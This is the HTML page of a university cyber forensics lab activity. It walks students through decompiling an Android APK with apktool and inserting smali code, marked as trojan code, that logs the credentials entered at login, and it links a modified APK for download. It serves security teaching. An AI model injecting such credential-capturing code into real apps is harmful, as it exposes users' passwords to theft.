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<!DOCTYPE HTML>
<!--
Phantom by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
<head>
<title>Activity 2 - TTU - Cyber Forensics</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link rel="stylesheet" href="assets/css/main.css" />
<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
</head>
<body class="is-preload">
<!-- Wrapper -->
<div id="wrapper">
<!-- Header -->
<header id="header">
<div class="inner">
<!-- Logo -->
<a href="index.html" class="logo">
<img src="images/TTUCS-logo.JPG" alt="" />
<!--<span class="symbol"></span><span class="title"></span>-->
</a>
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<nav>
<ul>
<li><a href="#menu">Menu</a></li>
</ul>
</nav>
</div>
</header>
<!-- Menu -->
<nav id="menu">
<h2>Menu</h2>
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="generic1.html">Activity 1</a></li>
<li><a href="generic2.html">Activity 2</a></li>
<li><a href="generic3.html">Activity 3</a></li>
<li><a href="generic4.html">Activity 4</a></li>
<li><a href="generic5.html">Activity 5</a></li>
</ul>
</nav>
<!-- Main -->
<div id="main">
<div class="inner">
<h1>Activity 2</h1>
<!--<span class="image main"><img src="images/pic13.jpg" alt="" /></span>-->
<span class="image main"><img src="images/ttu/images/pic2.jpg" alt="" /></span>
<br>
<pre> <b>Estimated Time: 30 Minutes</b></pre>
<h2><font size="6">↠</font><font color="blue">1.1</font> Objective</h2>
<p>
<ul>
<li>In this Activity 2, <a href="https://en.wikipedia.org/wiki/Apk_(file_format)" style="text-decoration:none" onmouseover="style='text-decoration:underline'" onmouseout="style='text-decoration:none'">APK</a> file is extracted to a folder and malicious code is injected into one of the files.</li>
</ul>
</p>
<h2><font size="6">↠</font><font color="blue">1.2</font> Description</h2>
<p>After generating a signed APK file in Activity 1, we will extract it into a folder structure and inject a malicious code into one of the files. This code will take a copy of login credentials entered on the app and sends to a remote server unnoticed.</p>
<br>
<h2><font size="6">↠</font><font color="blue">1.3</font> Artifacts</h2>
<p>
Click below links to download modified APK file and key store File<br>
   <a href="images/ttu/Activity2/login.apk">login.apk</a><br>
   <a href="images/ttu/Activity2/p9cert.jks">p9cert.jks</a><br>
</p>
<br>
<h2><font size="6">↠</font><font color="blue">1.4</font> Instructions</h2>
<p>
<ul>
<li>Step 1: Download the file "apktool_2.0.0rc3.jar" from below given link. With help of this jar file, we will extract the "app-release.apk" file created in Activity 1 and see the files content.</li>
   <a href="https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.0.0rc3.jar">https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.0.0rc3.jar</a>
<br>
<br>
<li>Step 2: Now place the downloaded file in the same directory where "app-release.apk" exists.</li>
   <img src="images/ttu/Activity2/reference-folder-structure.PNG" width="50%" height="50%">
<br>
<li>Step 3: Open command prompt and go to folder location where files "apktool_2.0.0rc3.jar" & "app-release.apk" are present.</li>
<br>
<li>Step 4: Run below command to extract the apk file into a folder structure.</li>
   java -jar apktool_2.0.0rc3.jar d app-release.apk<br>
   <img src="images/ttu/Activity2/APK-Extraction.PNG" width="50%" height="50%">
<br>
<li>Step 5: Go inside app-release folder and observe the sub-folders</li>
<br>
<li>Step 6: There are several files with extension as ".smali" inside sub-folder called "smali" under app-release</li>
   <img src="images/ttu/Activity2/app-release-folder.PNG" width="50%" height="50%">
<br>
<li>Step 7: Search for file "RestClient.smali" and open it in any text editor (Example: Notepad++). Now find the method "performLogin" in the code.</li>
<br>
<li>Step 8: Add below piece of code after ".line 258" in the file.</li>
<br>
<p style="color:blue;">
   # EVIL TROJAN CODE LOGGING PASSWORD<br>
   const-string v0, "TTUPROJECT"<br>
   const-string v1, "USERNAME AND PASSWORD BELOW"<br>
   invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I<br>
   invoke-static {v0, p3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I<br>
   invoke-static {v0, p4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I<br>
   # END OF EVIL TROJAN CODE<br>
</p>
<br>
   <img src="images/ttu/Activity2/existing-code.PNG" width="50%" height="50%"><br>
   <img src="images/ttu/Activity2/modified-code.PNG" width="50%" height="50%">
<br>
<li>Step 9: Save the code changes in "RestClient.smali" file</li>
</ul>
</p>
<br>
<h2><font size="6">↠</font><font color="blue">1.5</font><font color="orange">★ ★ ★</font> Self-Assessment <font color="orange">★ ★ ★</font> </h2>
<p>Please complete the following self-assessment over Activity 2</p>
<a href="Challenge2.html">Start Assessment</a>
<br>
<h2><font size="6">↠</font><font color="blue">1.6</font><font color="orange"></font> Activity 2 - Feedback <font color="orange"></font> 😍😁😶🙁😞</h2>
<p>Please complete the following survey questions over Activity 2</p>
<a href="https://educttu.az1.qualtrics.com/jfe/form/SV_abZ0GeURJPRZYXA">Start Survey Questions</a>
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<input type="text" name="name" id="name" placeholder="Name" />
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<input type="email" name="email" id="email" placeholder="Email" />
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<textarea name="message" id="message" placeholder="Message"></textarea>
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</ul>
</section>
<section>
<br><br>
<h2>About Us</h2>
<ul style="list-style: none;">
<li><b>Website Ownership and Management</b></li>
<li>Dr. Akbar Namin, Ph.D.</li>
<li>Associate Professor</li>
<li>Department of Computer Science</li>
<li>Texas Tech University</li>
<li>TX - USA</li>
<li>Email: [email protected]</li>
</ul>
</section>
<section>
<h2></h2>
<br><br><br>
<ul style="list-style: none;">
<li><b>Website Developer</b></li>
<li>Prathyush Turaga</li>
<li>Research Assistant</li>
<li>Department of Computer Science</li>
<li>Texas Tech University</li>
<li>TX - USA</li>
<li>Email: [email protected]</li>
</ul>
</section>
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